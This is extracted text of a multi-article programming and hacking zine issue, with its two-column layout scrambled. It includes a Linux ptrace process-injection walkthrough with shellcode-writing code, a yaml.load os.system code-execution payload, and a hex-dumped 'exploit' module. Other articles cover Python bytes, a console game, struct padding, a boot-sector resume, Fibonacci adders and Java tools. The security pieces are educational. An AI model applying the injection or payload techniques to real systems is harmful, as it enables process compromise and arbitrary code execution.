pid_t pid, void *addr, void *data); 
Once we have a region in memory that will be
One thing to note is that although arguments to
suitable for injection, we can use another ptrace
ptrace are interpreted according to the prototype,
request called P​TRACE_POKEDATA​to write a word
glibc currently declares ptrace as a variadic
(32 or 64 bits) of data (here represented by
function with only the request argument fixed. It is
uint64_t​array ) into a specified address (​
long 
still recommended to use all four arguments,
int​). Similarly to that we can read from memory
setting unused to 0​L​or (​void *) 0​.
with P​TRACE_PEEKDATA​request.
In order to start debugging an already running ptrace(PTRACE_POKEDATA, pid, addr + i * 8, 
program, we have to send a ​ PTRACE_ATTACH shellcode[i]); 
PID
request to a target process identified by its ​
So, we’ve managed to inject code into the memory
(Process IDentifier) value. After that the tracee will
of a process within some region. Now we have to
receive S​IGSTOP​signal, pausing the execution in
come back to previously stored registers, change
its current state, for which we have to wait in
the value of R​IP​to the address where we placed
tracer program.
our code and set registers to the process. Finally,
ptrace(PTRACE_ATTACH, pid, NULL, NULL);  after that we can continue the execution of tracee.
wait(NULL); 
old_regs.rip = addr; 
At this moment, we’re ready to mess around with ptrace(PTRACE_SETREGS, pid, NULL, 
the state of the process we’re attached to. We can &old_regs); 
get values of registers into a structure called ptrace(PTRACE_CONT, pid, NULL, NULL); 
user_regs_struct​defined in < ​sys/user.h> Remember that while tracing multithreaded
header. applications, tracee is always only a single thread,
struct user_regs_struct old_regs;  meaning that after attaching to the process we’ll
ptrace(PTRACE_GETREGS, pid, NULL,  be actually attaching to the initial thread. Others
&old_regs);  will continue execution just as before.
Having that information and an ability to set the PoC: ​
github.com/W3ndige/linux-process-injection
values of registers in a process, we can change the

https://www.rootnetsec.com Karol Trociński


SAA-TIP 0.0.5
28
Strings & bytes in Python 3 Programming

Strings & bytes in Python 3


Let’s remind ourselves about character encodings. The
You are building an exploit and, not being a barbarian, goal is to represent a character such as ”A”. Comput-
have switched from Python 2 to 3. One part of your ex- ers work with numbers (more precisely bits), not char-
ploit involves leaking an important address by dumping acters, so we translate the character into a number. In
a chunk of memory. This chunk of memory contains a the ASCII encoding, this is the number 65. We call this
lot of random data but somewhere in the middle you the codepoint. This value is then encoded using a single
know that there is a string ”Här: ”1 followed by the byte 0x41. This is simple in ASCII because there is a
4 bytes representing the little endian encoding on the one to one to one mapping between characters, code-
address you are looking for. You copy some old Python points and bytes and can this be implicitly done with-
2 code that you have used for a similar situation: out thinking about it. Python strings are not limited
def extract_leaked_pointer(leak): to ASCII but can represent the full Unicode range. If
marker = 'Här: ' we use the UTF-8 encoding and take the character ä
start = leak.find(marker) we instead get:
leak_start = start + len(marker)
leak_data = leak[leak_start:leak_start+4] Character Codepoint Bytes Encoding
return struct.unpack('<I', leak_data)[0] A 65 0x41 ASCII
A 65 0x41 UTF-8
Sadly, when running this, you get the following error: ä 228 0xC3 0xA4 UTF-8
TypeError: argument should be integer Specifically, one character maps to a codepoint which
or bytes-like object, not 'str' is encoded with more than one byte and not every se-
quence of bytes represents a valid character. This is
To solve this, you try to decode the leaked bytes into what causes the problem. To solve this, instead of try-
a string by adding this line to the code: ing to convert the ”haystack” bytes into a string and
leak = leak.decode('utf-8') search for a substring, you convert the ”needle” marker
into a sequence of UTF-8 bytes and search for that
Unfortunately, this doesn’t work either and you are left sequence of bytes in the haystack. When it is found,
staring at another error message: you can extract bytes relative to that offset and process
then accordingly, in this case, convert them to a 32-bit
UnicodeDecodeError: 'utf-8' codec can't number. This slightly modified diagram describes this
decode bytes in position 0-1: invalid approach.
continuation byte ”Här” string
In anger your desire to develop as hacker, you turn to UTF-8 encode
Twitter and complain about how Python 3 sucks this bytes
”\x48\xC3\xA4\x72”
article to understand how to reason about Python 3,
strings, character encodings and arbitrary bytes. int
Find marker
The problem is that you are trying to interpret an ar-
bitrary sequence of bytes as UTF-8 encoded data. This ”...\x48\xC3\xA4\x72: \xBE\xBA\xFE\xCA...”
is the equivalent of trying to push a square peg through Extract bytes
a round hole. It won’t work. The following diagram
shows what you are trying to do and where it goes ”\xBE\xBA\xFE\xCA”
wrong.
Little endian
”...\x48\xC3\xA4\x72: \xBE\xBA\xFE\xCA...”
0xCAFEBABE
UTF-8 decode Error
——

string Which, translated to Python 3 code looks like this:


”...Här: ????...”
bytes def extract_leaked_pointer_python3(leak):
Find marker marker = 'Här: '.encode('utf-8')
”...Här: ????...” int start = leak.find(marker)
leak_start = start + len(marker)
Extract bytes leak_data = leak[leak_start:leak_start+4]
return struct.unpack('<I', leak_data)[0]
”\xBE\xBA\xFE\xCA”
In short, don’t try to convert bytes that don’t represent
Little endian text, into text. Instead convert the text into bytes, use
it to extract the relevant bytes and then process them
0xCAFEBABE
accordingly. Now your exploit works in Python 3 and
1 Swedish for ”here” you can leave another legacy language behind.

Zeta Two https://zeta-two.com


https://twitter.com/ZetaTwo
SAA-ALL 0.0.5 https://youtube.com/ZetaTwo 29
Programming CP850 cmd game in C# .NET

CP850 cmd game in C# .NET _COORD coord = new _COORD();


SetConsoleDisplayMode(
Meemki, a somewhat bored security researcher who GetStdHandle(-11), 1, out xy);
accidentally exploits and therefore shuts down a part of
the stable universe computer, is the protagonist in an …and you are done! Fullscreen borderless cmd.
urban noir-style EASCII game. He learned a lot about the Based on the keywords DllImport and the imported
infrastructure he discovered by using an unknown function’s names, you are able to dig into the topic(s)
proprietary protocol. Now he knows the universe will de- deeper or just use the code to set up a fullscreen cmd to
stabilize reaching an undefined state in a couple of days. get an immersive experience.
He needs to get physical access to the universe computing Another tricky part is the keyboard input: Open a notepad
infrastructure which is held by the SAOTU (Secret Alliance in Windows and press a letter on your keyboard for some
of the Universe). On his way he needs to exploit all kinds time. You will notice a delay before the letter is
of security systems, physical as well as computer based repeatedly printed and probably a delay after releasing
and gets himself in situations he was not prepared the key. This behavior is called character repeat hold time
for…………………………………………………………………………………….. and delay. It is a system setting and also occurs when
O_ O_ using the standard Console.ReadKey in C#. The delay is
O O O /_ / O very impractical for games, so we need another way to
/ / /_ \ \ /\ handle keyboard input. Luckily there is a way using
_/\ _\ / / ` \ \ WinAPI’s winuser.h through user32.dll. The GetKeyState
` / `/ / ` ` / function allows us to check if a given key is down and can
` ` ` ` be used in C# as follows:
When starting with this Meemki project, a few constraints
were made for the sake of fun, style and challenge: run in [DllImport("user32.dll")]
cmd; system libs only; graphics with CP850 chars. I used public static extern short GetKeyState(
C# .NET because it is fast to get to the point and I am int nVirtKey);
quite confident with it.
In this article, some tricks are shown which solve common The returned short’s high order bit will be 1 if the nVirtKey
problems with game development for cmd to get you is down. All that is left to do is getting the hex code for the
started. key we want to check (http://msdn.microsoft.com/en-
First of all, we want a borderless fullscreen cmd. This can us/library/dd375731%28v=VS.85%29.aspx), pass it to the
be achieved by utilizing WinAPI’s ConsoleApi3.h available function and compare with a proper bitmask:
through the kernel32.dll. In particular we are going to use
the SetConsoleDisplayMode function which can be if ((GetKeyState(0x27) & 0x8000) != 0)
accessed in C# as follows:
0x27 is the right-arrow on the keyboard and the if-
[DllImport("kernel32.dll")] statement is true when the key is down. This way
public static extern bool keystrokes feel very direct. If this solution is still too slow
SetConsoleDisplayMode(IntPtr hConsoleOutput, for you, have a look at the GetAsyncKeyState function
uint dwFlags, within winuser.h which reflects the interrupt-level state of
out _COORD lpNewScreenBufferDimensions);
the keys.
Last but not least, if you want to redraw the content of
In order to invoke it, we need the _COORD struct and a
the cmd, it is worth to consider double buffering to avoid
handle to the console screen buffer:
flickering/stuttering which is likely to appear when
[StructLayout(LayoutKind.Sequential)]
redrawing the whole screen for every frame. For Meemki
public struct _COORD a memory buffer is used and only the changes between
{ two frames are redrawn to the screen by using
public short X; Console.SetCursorPosition and Console.Write.
public short Y; Meemki is currently in a very early stage but if you are
public _COORD(short x, short y) interested, check it out here: github.com/0xRUFF/Meemki
{X = x; Y = y;}
};
[DllImport("kernel32.dll")]
public static extern IntPtr
GetStdHandle(int nStdHandle);

Calling the functions on startup with -11 for the standard DISCLAIMER: The described methods may not work on all
output handle and 1 for console fullscreen mode: devices as they might depend on certain drivers.

github.com/0xRUFF Christian Bohnhoff


SAA-TIP 0.0.5
30
from cpython_exploit_ellipsis import * Programming

from cpython_exploit_ellipsis import *


Have you ever tried using Ellipsis in Python? No? Since those are real modules, we can also call their func-
Then do this in your Python interpreter: tions. Let’s see this on an example that uses the unsafe
yaml.load function that allows us to launch arbitrary code
>>> ... via loading proper yaml payload:
Ellipsis
>>> ....yaml.load(
... "!!python/object/apply:os.system "
Boom! If you don’t know what Ellipsis is for,this arti-
... "['echo yaml.load is insecure by design :(']")
cle won’t explain it1 . We will play with Ellipsis a bit more
yaml.load is insecure by design :(
instead. Let’s begin with some magic:
0
>>> from cpython_exploit_ellipsis import *
The second feature the magic gave us is the ability to
>>> ..., isinstance(..., Ellipsis.__class__) get libc functions via __getitem__. This might be handy
(Ellipsis, True) if you want to play with things like printf, scanf or other
not-so-obvious functions and you are too sophisticated to put
yourself in a write-compile-launch loop. Example below.
The Ellipsis seems to be the same but it has two addi-
tional features. First of all, we don’t have to do any explicit >>> ...['system']
import statements now. We can do inline imports instead, <_FuncPtr object at 0x7f35603aa4f8>
via Ellipsis object’s __getattr__: >>> ...['rand']()
51242132
>>> ....antigravity >>> ...['printf'](b'%p %p %p %p %p %p\n', id(...))
<module 'antigravity' from 0x9bb100 (nil) 0x1be1498 0x555390 0x555421 0xa
֒→ '/usr/lib/python3.X/antigravity.py'> 47

That’s all. So how is it done? See for yourself by solving the puzzle below and studying the exploit code! Enjoy o/
33 0d 0d 0a 56 27 eb 5c b9 01 00 00 e3 00 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00
40 00 00 00 73 76 00 00 00 64 00 64 01 6c 00 54 00 47 00 64 02 64 03 84 00 64 03 83 02
5a 01 78 34 65 02 65 03 64 04 6a 04 83 01 83 01 64 05 64 06 64 07 68 03 18 00 44 00 5d
18 5a 05 65 06 65 01 65 05 65 07 64 04 6a 04 65 05 83 02 83 03 01 00 71 30 57 00 65 08
65 01 83 01 65 09 65 08 64 04 83 01 65 0a 65 0b 83 01 17 00 65 0c 65 0d 83 01 83 02 6a
0e 5f 0f 64 08 5a 10 64 09 53 00 29 0a e9 00 00 00 00 29 01 da 01 2a 63 00 00 00 00 00
00 00 00 00 00 00 00 02 00 00 00 40 00 00 00 73 20 00 00 00 65 00 5a 01 64 00 5a 02 64
01 64 02 84 00 5a 03 65 04 5a 05 64 03 64 04 84 00 5a 06 64 05 53 00 29 06 da 04 5f 5f
5f 5f 63 01 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 43 00 00 00 73 04 00 00 00 64
01 53 00 29 02 4e da 08 45 6c 6c 69 70 73 69 73 a9 00 29 01 da 01 5f 72 05 00 00 00 72
05 00 00 00 fa 21 2f 74 65 73 74 2f 63 70 79 74 68 6f 6e 5f 65 78 70 6c 6f 69 74 5f 65
6c 6c 69 70 73 69 73 2e 70 79 da 08 5f 5f 72 65 70 72 5f 5f 04 00 00 00 73 02 00 00 00
00 01 7a 0d 5f 5f 5f 5f 2e 5f 5f 72 65 70 72 5f 5f 63 02 00 00 00 00 00 00 00 02 00 00
00 03 00 00 00 43 00 00 00 73 0e 00 00 00 74 00 74 01 64 01 83 01 7c 01 83 02 53 00 29
02 4e 7a 09 6c 69 62 63 2e 73 6f 2e 36 29 02 da 07 67 65 74 61 74 74 72 5a 04 43 44 4c
4c 29 02 da 02 5f 5f da 04 69 74 65 6d 72 05 00 00 00 72 05 00 00 00 72 07 00 00 00 da
0b 5f 5f 67 65 74 69 74 65 6d 5f 5f 07 00 00 00 73 02 00 00 00 00 01 7a 10 5f 5f 5f 5f
2e 5f 5f 67 65 74 69 74 65 6d 5f 5f 4e 29 07 da 08 5f 5f 6e 61 6d 65 5f 5f da 0a 5f 5f
6d 6f 64 75 6c 65 5f 5f da 0c 5f 5f 71 75 61 6c 6e 61 6d 65 5f 5f 72 08 00 00 00 da 0a
5f 5f 69 6d 70 6f 72 74 5f 5f da 10 5f 5f 67 65 74 61 74 74 72 69 62 75 74 65 5f 5f 72
0c 00 00 00 72 05 00 00 00 72 05 00 00 00 72 05 00 00 00 72 07 00 00 00 72 03 00 00 00
03 00 00 00 73 06 00 00 00 08 01 08 02 04 01 72 03 00 00 00 2e da 09 5f 5f 63 6c 61 73
73 5f 5f 72 08 00 00 00 72 11 00 00 00 5a 0c 64 69 73 63 6f 6e 6e 65 63 74 33 64 4e 29
11 5a 06 63 74 79 70 65 73 72 03 00 00 00 da 03 73 65 74 da 03 64 69 72 72 12 00 00 00
72 0a 00 00 00 da 07 73 65 74 61 74 74 72 72 09 00 00 00 da 02 69 64 da 04 63 61 73 74
5a 06 73 69 7a 65 6f 66 5a 09 63 5f 73 73 69 7a 65 5f 74 5a 07 50 4f 49 4e 54 45 52 5a
08 63 5f 75 69 6e 74 36 34 da 08 63 6f 6e 74 65 6e 74 73 da 05 76 61 6c 75 65 da 0a 5f
5f 61 75 74 68 6f 72 5f 5f 72 05 00 00 00 72 05 00 00 00 72 05 00 00 00 72 07 00 00 00
da 08 3c 6d 6f 64 75 6c 65 3e 01 00 00 00 73 0a 00 00 00 08 02 0e 08 1e 01 18 02 22 01

1
You might want to check out https://stackoverflow.com/questions/772124/what-does-the-python-ellipsis-object-do

disconnect3d https://disconnect3d.pl/
https://github.com/disconnect3d
SAA-ALL 0.0.5 https://twitter.com/disconnect3d_pl 31
Programming A parser-generator in 100 lines of C++

A PARSER–GENERATOR IN 10016 LINES OF C++


Please excuse the longish intro – I promise this is going somewhere! The usage should be also simple. For receiving:
In the past, my day job consisted of creating and maintaining auto data = socket.read();
a Material Flow Control System (often called MFCS opt) for mov m = mov::parse(data);
warehouses and production plants. This necessitated log << m.value<x_to>() << m.value<y_to>();
connecting to various PLCs controlling the mechanical parts And for sending:
– from huge cranes, through conveyor belts, and all the way mov m;
down to LED systems telling humans what to do. m.value<message_type>() = "MOV";
m.value<x_to>() = 13;
All those systems had one particular thing in common: they m.value<y_to>() = 37;
all defined similar, but different text-based protocols to be socket.send(m.to_string());
used to communicate with them over TCP. In a simplified This approach is Good Enough™. We have type safety, and
example, that’s how a message to a crane could be defined: we can even extend it to use custom types. For example, the
above will write the following to the socket (note the
Field name Field type Comment
Begin ALPHA[1] Character [ padding: zeros for numbers, text would use spaces):
Message Type ALPHA[3] “MOV” for move [MOV013037]
X To NUM[3] Moving on, the internal implementation is surprisingly
Y To NUM[3]
simple. The main class template accepts a list of key-type
End ALPHA[1] Character ]
pairs as variadic pack. It uses keys only to map them to
move crane
values. The type has a bit more to do – each type is expected
Have you ever needed to implement a third-party plaintext
to know its length, and how to serialize and deserialize itself
protocol? It’s as simple as it’s boring. And Deity forbid if the
(or signal an error).
documentation changes after initial implementation. You’ll
template<typename... Elements>
waste so much time! At least that’s what I told my boss when
struct message
I started creating a templated declarative parser. {
To be fair, I was fairly accurate. I inherited code that used static message parse(string_view buf);
void write(char* buf, size_t size) const;
std::map<std::string, std::string>, and I wager
string to_string() const;
that I wasted multiple days hunting all the typos in those template<typename Key>
strings. constexpr auto& value();
private:
Since C++ is a fairly strongly-typed language, there is no
tuple<typename d::element_value_type<
need for that – we should be able to leverage the type system Elements>::type...> data;
to ensure that both our keys and values are correct. Let’s };
discuss the API: Class message definition – shortened and modified to fit here

• keys (field names) should be verified at compilation template<size_t Length>


struct number
time – none of these pesky typos can pass here,
{
• values need to be of correct type, not the all- static constexpr size_t length = Length;
catching std::string, using value_type =
d::type_to_hold_number<Length>;
• the code should be as close as possible to the static void write(value_type const& val,
documentation. Ideally, it’d be the documentation. char* buf);
static value_type parse(string_view buf);
For example, we could want our MOV telegram to be
};
defined as follows: Class number definition – shortened and modified to fit here
using mov = message< As of writing this article, the whole proto.hpp has 248 lines,
element<struct begin, char_constant<'['>>,
and I haven’t performed any line-saving optimizations on
element<struct message_type, text<3>>,
element<struct x_to, number<3>>, the file.
element<struct y_to, number<3>>, The code may be accessed at the following address:
element<struct end, char_constant<']'>>
https://github.com/KrzaQ/protocol_parser_generator.
>;

dev.krzaq.cc KrzaQ
https://twitter.com/KrzaQ2 SAA-ALL 0.0.5
32
Rome golfing Programming

Rome golfing At the beginning of year 2003 on usenet newsgroup


pl.comp.lang.javascript a small code golf challenge has
been posted. Ultimately what they produced is mind
boggling:
How do you convert for example 42 to base 16?

42 / 16 | 2 r 10 A function rome(N,s,b,a,o){
2 / 16 | 0 r 2 2 42 (10) = 2A (16) for(s=b='',a=5;N;b++,a^=7)
for(o=N%a,N=N/a^0;o--;)
Can we do the same to convert arabic numbers to s='IVXLCDM'.charAt(o>2?b+N-(N&=~1)+(o=1):b)+s;
roman? return s
In base 10 system we have units, tens, hundreds and }
so on... Each as ten times previous one. But that is not
the case with roman numerals:
Function rome takes one argument N which is the
Symbol I V X L C D M number to convert. Other arguments are basically just
Value 1 5 10 50 100 500 1000 local variable declarations without using var keyword.
Global variables wouldn’t be elegant.
V is five times I, but X is two times V. Then L is five Resulting roman numeral is assembled in s.
times X and C two times L. There is pattern alternating Variable b is a pointer to the currently processed
5 and 2. Let’s try to convert 42: symbol. It is initialized to an empty string which treated
as a number would be converted to value 0.
42 / 5 | 8 r 2 II
Variable a is used to alternate between 2 and 5.
8 / 2 | 4 r 0
Remainder – number of symbols of given type – is
4 / 5 | 0 r 4 XXXX / XL
saved in variable o.
First divide 42 by 5 which gives 8 and remainder 2.
So there are two symbols I. Outer loop initializes variables and goes as long as N
Next divide 8 by 2 (remember to alternate) to get 4 is not zero. After each iteration it moves to the next
and remainder 0, so no Vs there. symbol (b++) and switches between 2 and 5 using neat
Lastly dividing 4 by 5 gives terminating 0 and xor bit twiddling trick.
remainder 4. That gives four symbols X.
42 is XXXXII using additive notation, but for four Initialization part of inner loop divides N by a (2 or
symbols in a row we’re using subtractive notation. Thus 5) and sets o to remainder and N to quotient. Because
we need to reach for next symbol and precede it with one JavaScript has only floats N/a^0 trick acts like int(N/a)
current symbol giving in result XLII. discarding fractional part.
If we look at various numbers there are two variants Loop goes as long as o is greater than zero.
requiring subtractive notation. One is like 4 subtracting Call to charAt method on a string chooses next
from next symbol (IV) and other like 9 subtracting from symbol which is concatenated with s.
symbol two places further (IX). Let’s look at 19: If o is not greater than 2 index is simply current
symbol being processed, i.e. value of b.
19 / 5 | 3 r 4 IX Otherwise subtractive case is handled.
3 / 2 | 1 r 1 V Index is the current position (b) plus one (o=1) plus
1 / 5 | 0 r 1 X another one if N is an odd number.
19 divided by 5 is 3 and remainder 4. Four symbols we Middle part of that – N-(N&=~1) – uses bit trick to
want to write in subtractive notation and this is second set least significant bit of N to 0 effectively subtracting
variant so we reach to X and subtract I from it. one from odd numbers. Even values stay unchanged so
whole expression is 0 for odd numbers and 1 otherwise.
Then 3 divided by 2 gives 1 with remainder 1. That
gives one symbol V.
Final step is to divide 1 by 2 to get 0 and remainder return s – I have absolutely no idea what comment
1. Last symbol is X. it warrants ;)
XVIX is not the expected result. Problem is that IX
in additive notation is VIIII so we should have had one Happy golfing
less Vs in the result. Let’s try again. Taeril

19 / 5 | 3 r 4 IX 19 / 5 | 3-1 r 4 IX Usenet discussion is archived at: https://groups.google.com/d/


3 / 2 | 1 r 1-1 2 / 2 | 1 r 0 topic/pl.comp.lang.javascript/uDJED8XeaDg
1 / 5 | 0 r 1 X 1 / 5 | 0 r 1 X Unfortunately it’s in Polish language.
Great respect to Vax who was the main driving force of this
challenge, but also to BlaTek, Coder and Krzyszt off for participating.
And that gave XIX :) Alternatively we can subtract Awesome, mind blowing job!
one from the division result before the next step.

Taeril https://taeril.kraina.org/
CC BY 4.0
33
Programming Does order of variable declarations matter?

For comparison, let’s change the order of variables


Does order of variable in our structure:
declarations matter? struct A {
char a;
int c;
Let’s check this in an example in C++
char b;
struct A { };
char a;
char b;
Again, let’s check the offsets:
int c; (gdb) ptype /o struct A
}; /* offset | size */ type = struct A {
/* 0 | 1 */ char a;
int main() { /* XXX 3-byte hole */
cout << sizeof(struct A); /* 4 | 4 */ int c;
} /* 8 | 1 */ char b;
/* total size (bytes): 12 */ }
In our structure we have two chars (2 x 1 byte), and
one int (1 x 4 bytes1). While the total size of Currently, the size of the structure is 12 bytes. In
structure fields is 6 bytes, unexpectedly the this case, a 3-byte gap was created between “a”
program printed out that the structure size is “8“. and “c”. The structure itself also has a 3-byte hole/
What happened? Let's look deeper and check the padding at its end. This is useful if we have an array
offsets of variables. One possibility is to use GDB of structure objects so all of them start on aligned
(version 8.1 or newer). Before that, we need to use addresses.
our structure somewhere, for example by adding If you need a particular structure layout, for
this simple code to the main function: example to fit a given protocol, you can use
Structure-Packing Pragmas5 to change alignment.
A obj; For instance, the following code sets the alignment
Now, we can debug our program with to one byte6:
gdb --quiet [path to executable file] 2 and then #pragma pack(1)
use GDB’s ptype command to show the layout of
the structure, generated by the compiler: If we place this code before declaring the second
structure, it will be packed into the following form:
(gdb) ptype /o struct A
/* offset | size */ type = struct A { (gdb) ptype /o struct A
/* 0 | 1 */ char a; /* offset | size */ type = struct A {
/* 1 | 1 */ char b; /* 0 | 1 */ char a;
/* XXX 2-byte hole */ /* 1 | 4 */ int c;
/* 4 | 4 */ int c; /* 5 | 1 */ char b;
/* total size (bytes): 8 */ } /* total size (bytes): 6 */ }

As you can see, there is a 2-bytes gap after the char Now, without alignment the size is exactly what we
“b”. It is a common practice of data alignment 3 - it expected at the beginning. ;)
can improve performance in some cases, especially
when you use SIMD4. To sum up, yes, the order of variable declarations is
relevant.
1 Please note that the size of int depends on the compiler and
the type of architecture. In our case (x86-64) it’s 4 bytes.
4 SIMD (Single instruction, multiple data) is an instructions set
2 Make sure to add debug information when compiling, in g++ which allows you to execute the same operation on multiple
or clang++ pass -g flag for that. data at the same time.
3 You can read more about the topic here: 5 See: https://gcc.gnu.org/onlinedocs/gcc-9.1.0/gcc/Structure-
https://en.wikipedia.org/wiki/Data_structure_alignment Layout-Pragmas.html
https://stackoverflow.com/questions/4306186/structure-
padding-and-packing 6 The directive applies to all later struct declarations. You can
return to previous settings using #pragma pack().

https://github.com/sergiuszlts Sergiusz
SAA-POOL 0.0.5
34
Bootcard Programming

Bootcard
tsurai <tsurai@tsunix.de>
.section .text
.code16
ljmp $0x0000, $start # canonicalize %cs:%ip
start:
I always loved the weird and obscure side of hacking. mov $0x0002, %ax
Thinking outside of the box and creating something that int $0x10 # set 80x25 text mode
was never meant to be and might not even make any mov $0x0700, %ax
mov $0x0f, %bh
sense to other people. mov $0x184f, %dx
Enter Bootcard, a bootable mini-resume in 16-bit real xor %cx, %cx
mode assembler code that fits in the master boot record int $0x10 # clear screen
and can be printed on a business card encoded as a QR xor %bx, %bx
xor %dx, %dx
code. mov $0x02, %ah
int $0x10 # reset cursor pos
1 Real mode and the master boot record mov $0x0e, %ah
mov $_binary_src_data_txt_start, %si
.print:
All x86 compatible CPUs begin execution of the boot lodsb
sector code in ”real mode”. Real mode is a very cmp $_binary_src_data_txt_end, %si
limited 16-bit legacy operating mode that, among other je .done
things, can only directly address about 1 MB of memory xor $0x42, %al
int $0x10 # print character
and defaults to 16-bit operands. But it also has one jmp .print
advantage over the 32-bit protected and 64-bit long .done:
mode by being able to easily access BIOS functions cli
hlt
which is the easiest way to print our text to the screen.
One might think that the BIOS is well behaved and
i386-elf-as -o build/boot.o src/boot.S
specified. Sadly, that is far from reality. Never rely on
i386-elf-objcopy -I binary -B i386 -O elf32-i386 \
anything and double check everything. --rename-section .data=.rodata \
The second part of our execution environment is the src/data.txt build/data.o
master boot record. The classical MBR is a 512 byte i386-elf-ld -T src/boot.ld --oformat binary \
-o boot.img build/boot.o build/data.o
large area consisting of a 446 byte boot code area, 64
byte partition table and 2 byte magic signature. Usually
the code would have to fit into the boot code area, but With our final binary in hands, all we need to figure
we can use the partition table as well since we have no out is how to distribute it. Some sort of compression
use for it. has to be applied to decrease the size of the code and
the QR code that is being generated from it. Gzip is an
obvious candidate, but the resulting compressed archive
2 Implementation
might be too vague for the reader to be recognized as
The assembly code does not have to do a lot and is such.
rather simple. All we need are functions to first, clear A clever solution has been shown by Alok
the screen from previous BIOS output, and to print Menghrajani, who managed to put a bootable game
our own data. Luckily the Video BIOS already has into a single tweet by using base64 encoding and perls
those accessible via the interrupt 0x10 video display character repetition feature.2 . The gap between our data
functions.1 and the boot sector signature that is being filled with
You might be wondering where the actual resume text NUL bytes, gets translated into a series of ’A’ enabling
is coming from. It is kept in a file separate from the easy compression.
code for better readability and to avoid unnecessary
recompilation. A plain ASCII encoded text file that is 3 Conclusion
being translated into a 32-bit ELF relocatable object via
That is pretty much it. Generate a QR code, put it
objcopy and linked into the .rodata section of the final
somewhere, and see how many ppl will actually boot it.
binary.
The odds are poor, but it sure was fun to make.
But wait, now our text is a readable part of our binary.
What if someone inspects the image before booting it
and already sees the content. That’s no fun! So we
are going to ”hide” it by applying a simple XOR cipher.
That is not really going to fool anyone of course, but at
least it hides the data from plain sight.
Finally, the linker script is putting it all together and
adds the 0x55AA bootsector signature bytes at the offset
0x1FE of the binary to construct a valid master boot
record the BIOS can find and boot.
1 http://www.ctyme.com/intr/int-10.htm 2 https://www.quaxio.com/bootable_cd_retro_game_tweet/

tsurai github.com/tsurai
CC BY-SA 4.0
35
Programming Designing adder circuit for Fibonacci representation

Designing adder circuit for Fibonacci representation


Tomasz Idziaszek
algonotes.com/en/fibonacci-arithmetic

Fibonacci numbers are defined as follows: In a single step, we need to apply one of these trans-
formations to a group of four double-bits, which come
F0 = 0, F1 = 1, Fi = Fi−1 + Fi−2 for i ≥ 2,
from adding ai + bi . We represent such a double-bit as
thus forming an infinite sequence 0, 1, 1, 2, 3, 5, 8, 13 . . . a two-bit integer Ai Bi , thus first we apply a half adder
Any natural number can be represented as a sum of h to them (see image below).
distinct Fibonacci numbers, e.g. 7 = 5 + 2 = F5 + F3 . The circuit fib-adder that selects appropriate transfor-
Edouard Zeckendorf noticed that as long as we don’t use mation is a little bit complicated. Note that the leftmost
adjacent numbers, this representation is unique. Thus a double-bit is always in {0, 1}, since we already removed
binary string ak−1 . . . a1 a0 of length k in which there are 2s from that part, so we don’t need A3 .
no adjacent 1s, uniquely represents number
B3 A2 B2 A1 B1 A0 B0
ak−1 · Fk+1 + . . . + a1 · F3 + a0 · F2 .
There are Fk+2 such strings and they represent numbers

fib-adder
from 0 to Fk+2 − 1. ai bi
We could imagine a computer that stores integers in
this representation (think that it would improve sturdi-

h
ness of punch cards, should such computer use them: no
adjacent 1s means no adjacent holes). That leads to a
question: how to perform basic arithmetic operations? Ai Bi B3′ B2′ A′1 B1′ A′0 B0′
Let’s start with incrementation by one. To increment
ak−1 . . . a1 a0 and obtain ck ck−1 . . . c1 c0 , where ck is the To construct a multidigit adder we must take care of
carry (overflow) flag, it suffices to do the transformation border cases (at both sides of the string). On the left we
a1 a0 → c1 c0 on the last two bits: just add bogus 0. On the right we introduce bogus F1
and F0 . The latter has value 0, so obtained coefficient
00 → 01 01 → 10 10 → 11
can be ignored, but the former has to be examined.
and leave the remaining bits unchanged. After all this we get a string containing only 0s and 1s,
Unfortunately, this could lead to a pair of adjacent 1s. but there could be arbitrarily long strides of adjacent 1s,
We can remove it by applying transformation 011 → 100 as well as bogus c−1 = 1.
from right to left to subsequent triplets of bits. On the To fix it, we apply a sweep of transformation 011 → 100
image below there is a circuit fix that performs such twice. First from left to right, which is equivalent to
transformation and a 5-bit incrementer using it: making following transformations for y in {0, 1}:
a4 a3 a2 a1 a0 y012s 0 → y(10)s 00 y012s+1 0 → y(10)s 010
a2 a1 a0 After that groups of adjacent 1s have length at most
two. We can remove them by making another sweep from
fix right to left. Also c0 and c−1 cannot be simultaneously
fix equal to 1, so we can just or them. On the image below
fix

0
fix there is an adder producing ck+1 ck . . . c1 c0 for k = 5:
fix b4 b3 b2 b1 b0
a′2 a′1 a′0 c5 c4 c3 c2 c1 c0 a4 a3 a2 a1 a0
0
Addition of two integers ak−1 . . . a1 a0 and bk−1 . . . b1 b0 h h h h h
is more complicated. After we add them position-wise, fib-adder
we could end up with adjacent 1s or even some 2s (but fib-adder 0
only surrounded by 0s from both sides). fib-adder 0
First we try to remove 2s (ignoring adjacent 1s). We do it 0
fib-adder 0
from left to right, making sure that we do not introduce
any new 2s to the left, but we can introduce some new fix fib-adder
2s to the right (and even some 3s, as well as some 2s or fix
3s adjacent to 1s, that must be removed in subsequent 0 0
fix
steps). After playing for a while with transformations fix
needed, we could obtain the following list:
0 fix fix
020x → 100x̄ 021x → 110x fix
030x → 110x̄ 012x → 101x fix
Here x denotes any digit from {0, 1, 2} and x̄ = x + 1. c6 c5 c4 c3 c2 c1 c0

algonotes.com Tomasz Idziaszek


SAA-ALL 0.0.5
36
A box of tools to spy on Java Programming

A box of tools to spy on Java.


OpenJDK has been improving its tools lately and provides us with some powerful spying tools - all of them
come with man pages, if in doubt take a look there! Some might require the newest JDK - 11.

jps​- launched without any flags it will simply ​list all Java processes and their pids​, but there are some useful
flags you might want to include, such as ​-v​(lists arguments passed to the JVM), ​-m​(lists arguments passed to
the main method) or ​-l​(shows package names).

jstack​- ​prints all Java thread stack traces with useful information​, such as what state the thread is in and
what code it’s currently executing. Very useful for identifying deadlocks, livelocks and similar. The states a
Java thread can be in include (among others) B​ LOCKED​(thread is waiting for entry to a critical section),
WAITING​(thread blocked from code - O ​ bject.wait()​), T​ IMED_WAITING​(​Object.wait()​with a timeout
argument). There is much more useful information, such as ​daemon_prio​ (priority inside JVM), ​os_prio
(priority in the OS), ​tid​ (id of the thread), ​nid​ (id of the thread in the OS), address on heap. Especially ​nid​ might
come in useful to use some more advanced OS tools to learn more about the thread.

jmap​- this tool will give you ​a look into the heap​. It can do a heapdump on JDK below version 11, since JDK
11 you should do that with ​jcmd​(note that dumping the heap causes a “stop the world” event so don’t do
